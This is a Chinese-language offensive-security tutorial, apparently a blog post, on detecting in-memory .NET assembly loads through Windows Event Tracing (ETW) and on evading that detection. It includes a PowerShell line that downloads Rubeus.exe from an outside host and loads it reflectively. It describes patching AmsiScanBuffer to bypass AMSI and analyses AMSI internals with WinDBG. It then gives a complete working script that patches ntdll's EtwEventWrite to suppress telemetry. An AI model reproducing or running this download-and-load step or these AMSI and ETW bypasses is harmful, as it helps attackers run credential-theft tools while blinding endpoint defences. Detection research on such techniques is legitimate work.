# Windows事件追踪

Windows 事件追踪器 (ETW) 提供了一种追踪和记录**用户模式应用程序**和**内核模式驱动程序**引发的事件的机制。ETW 最初是为了**调试**和**性能监控**目的而引入的，但现在它可以用于检视 IoC，例如内存中的 **.NET 组件**。

当 .NET 组件被加载的时候，**Microsoft-Windows-DotNETRuntime** 提供者会产生 **AssemblyLoad** 的事件。让我们在内存中通过 .NET 反射运行 Rubeus.exe

```powershell
$data=(new-object System.Net.WebClient).DownloadData('http://192.168.0.45:443/rubeus.exe')
$assembly=[System.Reflection.Assembly]::Load($data)
```

但是，首先我们需要绕过 AMSI，因为 .NET 组件的内容也会被 AMSI 扫描。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/NafgtSgcDMCrVVrq-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/NafgtSgcDMCrVVrq-image.png)

使用通过补丁 AmsiScanBuffer 的脚本来绕过 AMSI 对 .NET 组件的扫描，这样我们成功地将 Rubeus 加载到了内存中。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/HZHrVBPLve2CJ83F-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/HZHrVBPLve2CJ83F-image.png)

在继续 ETW 的话题之前，如果你们好奇为什么使用攻击 AmsiInitialize 或者 AmsiOpenSession 的载荷不管用，我们跑个题来分析一下。使用 WinDBG 给 PowerShell.exe 进程设置 4 个断点：

```
amsi!AmsiInitialize
amsi!AmsiOpenSession
amsi!AmsiScanBuffer
clr!AmsiScan
```

输入恶意字符串 "invoke-mimikatz" 之后，AmsiOpenSession 与 AmsiScanbuffer 断点分别被触发，但 AmsiInitialize 与 AmsiScan 并没有。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/Jk66eAOWRFvABLE6-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/Jk66eAOWRFvABLE6-image.png)

如果执行 **\[System.Reflection.Assembly\]::Load()** 命令，我们会发现前 2 个触发的断点是一致的，都是对 PowerShell 脚本块的扫描。而后面触发的 AmsiInitialize 与 AmsiScan 断点证明了是对内存中 .NET 组件的单独扫描。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/75jgj6vWsSnIiLOS-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/75jgj6vWsSnIiLOS-image.png)

查看 **clr.dll** 中的 **AmsiScan** 函数，我们发现 AmsiInitialize 与 AmsiScan 有被调用，而 AmsiOpenSession 并没有。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/sCza5HKBuTFLrbaB-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/sCza5HKBuTFLrbaB-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/tq6hlxL6jIUocFNW-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/tq6hlxL6jIUocFNW-image.png)

总之就是，补丁 AmsiInitialize 的单行载荷无效是因为该载荷是通过更改 **System.Management.Automation** 命名空间的子值来实现的，而该命名空间是 PowerShell 的根命名空间，自然与 .NET 组件的 AMSI 扫描无关。而 AmsiOpenSession 并没有在 AmsiScan 中被调用。

总之，绕过 AMSI 并将 Rubeus 加载到内存中之后，会有什么其他 IoC 呢？使用 **ProcessHacker** 查看当前的 PowerShell.exe 进程，我们发现 **.NET assemblies** 页面中能看到 Rubeus 的明文，这就是 ETW 直观的作用。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/yJKghgUGW94Yvt3S-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/yJKghgUGW94Yvt3S-image.png)

绕过 ETW 的方法与绕过 AMSI 较为相似，补丁 **ntdll.dll** 中的 **EtwEventWrite** 函数。

```c++
ULONG 
EVNTAPI
EtwEventWrite(
    __in REGHANDLE RegHandle,
    __in PCEVENT_DESCRIPTOR EventDescriptor,
    __in ULONG UserDataCount,
    __in_ecount_opt(UserDataCount) PEVENT_DATA_DESCRIPTOR UserData
    );
```

绕过 ETW 的 PowerShell 脚本如下：

```powershell
function LookupFunc {
    Param ($moduleName, $functionName)
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
     Equals('System.dll')
     }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -like "Ge*P*oc*ddress") {$tmp+=$_}}
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}


function getDelegateType {
    Param (
     [Parameter(Position = 0, Mandatory = $True)] [Type[]]
     $func, [Parameter(Position = 1)] [Type] $delType = [Void]
    )
    $type = [AppDomain]::CurrentDomain.
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
    DefineDynamicModule('InMemoryModule', $false).
    DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass,
    AutoClass', [System.MulticastDelegate])

  $type.
    DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $func).
     SetImplementationFlags('Runtime, Managed')

  $type.
    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType,
$func). SetImplementationFlags('Runtime, Managed')
    return $type.CreateType()
}


[IntPtr]$funcAddr = LookupFunc ntdll.dll EtwEventWrite
$oldProtectionBuffer = 0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtectionBuffer)
$buf = [Byte[]] (0xb8,0x34,0x12,0x07,0x80,0x66,0xb8,0x32,0x00,0xb0,0x57,0xc3)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 12)
```

在补丁 EtwEventWrite 函数之后，我们发现在 .NET assemblies 中便查看不到相关事件了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/YgbTs86CKlTsVpM0-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/YgbTs86CKlTsVpM0-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/x1U4gCgayDXKKm9m-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/x1U4gCgayDXKKm9m-image.png)